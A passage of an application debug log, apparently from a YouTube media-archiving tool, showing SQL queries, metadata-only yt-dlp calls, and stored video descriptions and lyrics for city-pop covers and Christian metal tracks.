Remix)[gotB5q-uqLk].m4a", false, 2, ~U[2025-09-11 22:18:30Z]] 22:20:32.222 [debug] QUERY OK source="sources" db=0.3ms idle=135.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.222 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-03-20 15:00:49Z], 2] 22:20:32.403 [debug] QUERY OK source="settings" db=1930.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.404 [debug] QUERY OK source="settings" db=1930.9ms queue=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.404 [debug] QUERY OK source="media_items" db=1931.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:13:34Z], 5] 22:20:32.406 [debug] QUERY OK source="settings" db=2.0ms queue=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.406 [debug] QUERY OK source="settings" db=2.3ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.406 [debug] QUERY OK source="media_items" db=180.4ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Caitlin Myers' English cover of \"Do You Remember Love\" by Mari Iijima\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/48853254 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"Do You Remember Love?\" - Originally by: Mari Iijima) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers and @NoelNoirMusic \n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Video: @ContestChar\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nIn a dream I heard an echo of your voice, my dear, gently pulling me near\nAnd for that moment, all my sadness had disappeared\nDawn arrives and I awake in my room feeling blue, wishin’ I could see you\n\nI let my eyes close and await you through fantasy\n\nUntil last night, tears were falling like rain from my eyes\nBut now my heart feels light...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nEven now I feel the heat inside your fervent gaze though you've fallen astray\nAnd like a fire you're defrosting my heart and soul\nThrough and through I will accept the love you gave to me, in return just behold me \nLike the sunlight is igniting the distant moon\n\nUntil last night, tears were falling like rain from my eyes\nBut now the world seems bright...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\nTell me, do you still remember? When our eyes first locked together?0\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#Macross #doyourememberlove #LynnMinmay #CaitlinMyers", "Do You Remember Love? | ENGLISH VERSION | Caitlin Myers", "f47e2437-bb25-44dc-8f92-c28a8a853644", false, "7EKCJlHjJgo", 388, false, "https://www.youtube.com/watch?v=7EKCJlHjJgo", 14, "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", false, false, 2, [], 1, ~U[2021-03-20 15:00:49Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Caitlin Myers' English cover of \"Do You Remember Love\" by Mari Iijima\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/48853254 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"Do You Remember Love?\" - Originally by: Mari Iijima) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers and @NoelNoirMusic \n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Video: @ContestChar\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nIn a dream I heard an echo of your voice, my dear, gently pulling me near\nAnd for that moment, all my sadness had disappeared\nDawn arrives and I awake in my room feeling blue, wishin’ I could see you\n\nI let my eyes close and await you through fantasy\n\nUntil last night, tears were falling like rain from my eyes\nBut now my heart feels light...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nEven now I feel the heat inside your fervent gaze though you've fallen astray\nAnd like a fire you're defrosting my heart and soul\nThrough and through I will accept the love you gave to me, in return just behold me \nLike the sunlight is igniting the distant moon\n\nUntil last night, tears were falling like rain from my eyes\nBut now the world seems bright...\n\nTell me, do you still remember? When our eyes first locked together?\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\nTell me, do you still remember? When our eyes first locked together?0\nTell me, do you still remember? When a touch could last forever?\nProud that you’re my first and only, the beginning to this hopeful journey\nI love you so\n\nI’ll never be all alone, you see\nWe'll reunite, you and me\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#Macross #doyourememberlove #LynnMinmay #CaitlinMyers", "Do You Remember Love? | ENGLISH VERSION | Caitlin Myers", "7EKCJlHjJgo", 388, false, "https://www.youtube.com/watch?v=7EKCJlHjJgo", "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", false, 2, ~U[2021-03-20 15:00:49Z]] 22:20:32.408 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.408 [debug] QUERY OK source="settings" db=1.2ms queue=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.408 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.409 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YrZj2_PmNU0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1b/eb/1bebd3b1a8c80b49c4513ac23c215c152e95ecd96bb98187e52ed31f6369e80f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:32.409 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=q54TGP8MxWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/33/f5/33f5648ddcf0e0b79aa78765fd7861d92cb891efd06e347ee78d6ba281492790.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:32.535 [debug] QUERY OK source="media_items" db=128.5ms queue=1.2ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nGhost Ship · Theocracy\n\nGhost Ship\n\n℗ Ulterium Records\n\nReleased on: 2016-10-28\n\nMusic Publisher: Ulterium Records\n\nAuto-generated by YouTube.", "Ghost Ship", "9bd0f93e-f4a9-467e-ab75-e3e80e0e128d", false, "XYPd8X1a4xY", 279, false, "https://www.youtube.com/watch?v=XYPd8X1a4xY", 16, "/downloads/ChristianMetal/ChristianMetal/2019-02-04Ghost Ship[XYPd8X1a4xY].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:13:34Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Provided to YouTube by IIP-DDS\n\nGhost Ship · Theocracy\n\nGhost Ship\n\n℗ Ulterium Records\n\nReleased on: 2016-10-28\n\nMusic Publisher: Ulterium Records\n\nAuto-generated by YouTube.", "Ghost Ship", "XYPd8X1a4xY", 279, false, "https://www.youtube.com/watch?v=XYPd8X1a4xY", "/downloads/ChristianMetal/ChristianMetal/2019-02-04Ghost Ship[XYPd8X1a4xY].m4a", false, 5, ~U[2019-02-04 17:13:34Z]] 22:20:32.535 [debug] QUERY OK source="sources" db=0.2ms idle=127.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:32.535 [debug] QUERY OK source="media_items" db=0.1ms idle=127.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-26 03:51:00Z], 5] 22:20:32.718 [debug] QUERY OK source="media_items" db=182.0ms idle=127.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nThe Frost · August Burns Red\n\nPhantom Anthem\n\n℗ 2017 Fearless Records\n\nReleased on: 2017-10-06\n\nMixing Engineer, Producer, Programming Engineer: Carson Slovak\nProgramming Engineer, Producer, Mixing Engineer: Grant McFarland\nComposer Lyricist: JB Brubaker\nComposer Lyricist: William Jacob Luhrs\nComposer Lyricist: Brent Rambler\nComposer Lyricist: Dustin Davidson\nComposer Lyricist: Matthew Greiner\n\nAuto-generated by YouTube.", "The Frost", "8f9ea065-b1b2-4671-9aae-e29d825da392", false, "3nGCMRW2bOs", 287, false, "https://www.youtube.com/watch?v=3nGCMRW2bOs", 17, "/downloads/ChristianMetal/ChristianMetal/2018-07-26The Frost[3nGCMRW2bOs].m4a", false, false, 5, [], 1, ~U[2018-07-26 03:51:00Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Provided to YouTube by Universal Music Group\n\nThe Frost · August Burns Red\n\nPhantom Anthem\n\n℗ 2017 Fearless Records\n\nReleased on: 2017-10-06\n\nMixing Engineer, Producer, Programming Engineer: Carson Slovak\nProgramming Engineer, Producer, Mixing Engineer: Grant McFarland\nComposer Lyricist: JB Brubaker\nComposer Lyricist: William Jacob Luhrs\nComposer Lyricist: Brent Rambler\nComposer Lyricist: Dustin Davidson\nComposer Lyricist: Matthew Greiner\n\nAuto-generated by YouTube.", "The Frost", "3nGCMRW2bOs", 287, false, "https://www.youtube.com/watch?v=3nGCMRW2bOs", "/downloads/ChristianMetal/ChristianMetal/2018-07-26The Frost[3nGCMRW2bOs].m4a", false, 5, ~U[2018-07-26 03:51:00Z]] 22:20:32.719 [debug] QUERY OK source="media_items" db=310.1ms queue=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-03-13 16:00:59Z], 2] 22:20:32.720 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=184.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:32.721 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=184.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-10-06 11:52:34Z], 5] 22:20:32.918 [debug] QUERY OK source="media_items" db=145.6ms idle=184.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Caitlin Myers' English cover of \"Stay With Me\" by Miki Matsubara\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/stay-with-me-mp3-48676352 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"真夜中のドア/Stay With Me\" - Originally by: Miki Matsubara) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers\n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Art: @UsagiHime777 \n✧ Video: @REINA \n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nTo you\nYes my love, to you\nYes my love, to you\nYou, to you\n\n“I’m who I am, as I am; you’re who you are, as who you are”\nThe final words you whispered, before you left me with a scar\n\nOn your familiar silver jacket \nSplattered coffee’s left a stain, destined always to remain\nAnd still we’re lost inside the habit\nTears reflecting in the pane, show our pitiful refrain\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME…\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret our love\n\n“Confusing love and lovin’, there is a difference though bizarre”\nThe final words you whispered, before you left me with a scar\n\nAnother winter is arriving\nLike a bird you went away, migrate back to me and stay\nBut still I’m lost inside the habit\nHere I’m yearning for your touch, will it ever matter much\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nThis heart of mine is breaking once more\nNow the winter arrived, like the tears in my eyes,\nSTAY WITH ME...\nFor your company my pride I gave away\nThe needle on my record as it plays\nBittersweet melodies, on an endless repeat, it seems\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret- \n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for \nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret-\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\n\nSTAY WITH ME...\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n#staywithme #mikimatsubara #citypop #CaitlinMyers", "Stay With Me | ENGLISH VERSION | Caitlin Myers", "8c59935b-1e60-479e-9dff-93808fd0d7ca", false, "xZ4p3PsGGA0", 311, false, "https://www.youtube.com/watch?v=xZ4p3PsGGA0", 15, "/downloads/Classics/Classics/2021-03-13Stay With Me | ENGLISH VERSION | Caitlin Myers[xZ4p3PsGGA0].m4a", false, false, 2, [], 1, ~U[2021-03-13 16:00:59Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Caitlin Myers' English cover of \"Stay With Me\" by Miki Matsubara\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/stay-with-me-mp3-48676352 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"真夜中のドア/Stay With Me\" - Originally by: Miki Matsubara) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers\n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Art: @UsagiHime777 \n✧ Video: @REINA \n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nTo you\nYes my love, to you\nYes my love, to you\nYou, to you\n\n“I’m who I am, as I am; you’re who you are, as who you are”\nThe final words you whispered, before you left me with a scar\n\nOn your familiar silver jacket \nSplattered coffee’s left a stain, destined always to remain\nAnd still we’re lost inside the habit\nTears reflecting in the pane, show our pitiful refrain\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME…\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret our love\n\n“Confusing love and lovin’, there is a difference though bizarre”\nThe final words you whispered, before you left me with a scar\n\nAnother winter is arriving\nLike a bird you went away, migrate back to me and stay\nBut still I’m lost inside the habit\nHere I’m yearning for your touch, will it ever matter much\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nThis heart of mine is breaking once more\nNow the winter arrived, like the tears in my eyes,\nSTAY WITH ME...\nFor your company my pride I gave away\nThe needle on my record as it plays\nBittersweet melodies, on an endless repeat, it seems\n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for\nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of the past\nI'm holding on to moments that won’t last\nI will never forget, I will never regret- \n\nSTAY WITH ME...\nIn the dead of night I’m banging on your door\nI’m begging you, without you I’m done for \nNow the winter arrived, like the tears in our eyes,\nSTAY WITH ME...\nWhile your voice remains an echo of th (truncated) 22:20:33.059 [debug] QUERY OK source="media_items" db=337.7ms idle=3.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nDead Memory (feat. Jake Luhrs) · Fit for a King · Jake Luhrs\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Dead Memory (feat. Jake Luhrs)", "5ca6192a-e899-4d33-bae0-81ab27990658", false, "Vz4djMTVIoA", 253, false, "https://www.youtube.com/watch?v=Vz4djMTVIoA", 18, "/downloads/ChristianMetal/ChristianMetal/2016-10-06Dead Memory (feat. Jake Luhrs)[Vz4djMTVIoA].NA", false, false, 5, [], 2, ~U[2016-10-06 11:52:34Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Provided to YouTube by The Orchard Enterprises\n\nDead Memory (feat. Jake Luhrs) · Fit for a King · Jake Luhrs\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Dead Memory (feat. Jake Luhrs)", "Vz4djMTVIoA", 253, false, "https://www.youtube.com/watch?v=Vz4djMTVIoA", "/downloads/ChristianMetal/ChristianMetal/2016-10-06Dead Memory (feat. Jake Luhrs)[Vz4djMTVIoA].NA", false, 5, ~U[2016-10-06 11:52:34Z]] 22:20:33.060 [debug] QUERY OK source="sources" db=0.2ms idle=339.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:33.060 [debug] QUERY OK source="media_items" db=0.1ms idle=339.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-29 23:44:33Z], 5] 22:20:33.255 [debug] QUERY OK source="media_items" db=193.9ms idle=195.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFight The Silence · For Today\n\nFight The Silence\n\n℗ 2013 Razor & Tie Recordings.\n\nReleased on: 2014-02-04\n\nProducer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fight The Silence", "160bd6cb-552a-446a-85ff-6aedf2910a7b", false, "Da3Ee-xyIQ4", 219, false, "https://www.youtube.com/watch?v=Da3Ee-xyIQ4", 19, "/downloads/ChristianMetal/ChristianMetal/2018-07-29Fight The Silence[Da3Ee-xyIQ4].m4a", false, false, 5, [], 1, ~U[2018-07-29 23:44:33Z], ~U[2026-07-24 02:20:33Z], ~U[2026-07-24 02:20:33Z], "Provided to YouTube by Universal Music Group\n\nFight The Silence · For Today\n\nFight The Silence\n\n℗ 2013 Razor & Tie Recordings.\n\nReleased on: 2014-02-04\n\nProducer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fight The Silence", "Da3Ee-xyIQ4", 219, false, "https://www.youtube.com/watch?v=Da3Ee-xyIQ4", "/downloads/ChristianMetal/ChristianMetal/2018-07-29Fight The Silence[Da3Ee-xyIQ4].m4a", false, 5, ~U[2018-07-29 23:44:33Z]] 22:20:33.255 [debug] QUERY OK source="sources" db=0.2ms idle=195.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", 